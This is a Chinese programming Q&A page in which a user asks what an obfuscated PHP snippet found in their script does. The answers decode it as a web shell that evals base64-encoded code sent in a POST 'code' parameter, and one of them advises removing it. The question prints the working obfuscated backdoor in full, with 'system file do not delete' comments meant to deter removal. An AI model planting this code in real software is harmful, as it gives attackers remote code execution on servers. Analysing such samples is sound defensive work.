如何在我的一个脚本中解码这个PHP代码

时间:2013-03-01 09:24:13

标签: php

我在我的php文件中有这个。看起来像一些恶意软件,但我想知道它意味着什么 它在做什么

<?php //cb6f82f3e4007bdaccf419abafab94c8
 $_=
//system file do not delete
'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0=';
 //system file do not delete
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

3 个答案:

答案 0 :(得分:1)

查看base64_decode

答案 1 :(得分:1)

$___代表base64_decode。然后$__是base64_decode'd并进行评估,执行以下操作:

$code = base64_decode($_);
eval($code);

最终执行此操作:

if(isset($_POST["code"]))
{
    eval(base64_decode($_POST["code"]));
}

我建议您删除它并检查其他文件是否也被感染。

答案 2 :(得分:0)

eval - 将字符串评估为PHP代码

注意

  

eval()语言结构非常危险,因为它允许   执行任意PHP代码。因此不鼓励使用它。如果你   仔细确认除了使用它之外别无选择   构建时,要特别注意不要传递任何用户提供的数据   没有事先正确验证它就进入它。

一个简短的例子:

<?php

    $string = 'cup';
    $name = 'coffee';
    $str = 'This is a $string with my $name in it.';
    echo $str. "\n";
    eval("\$str = \"$str\";");
    echo $str. "\n";
?>

输出

This is a $string with my $name in it.
This is a cup with my coffee in it.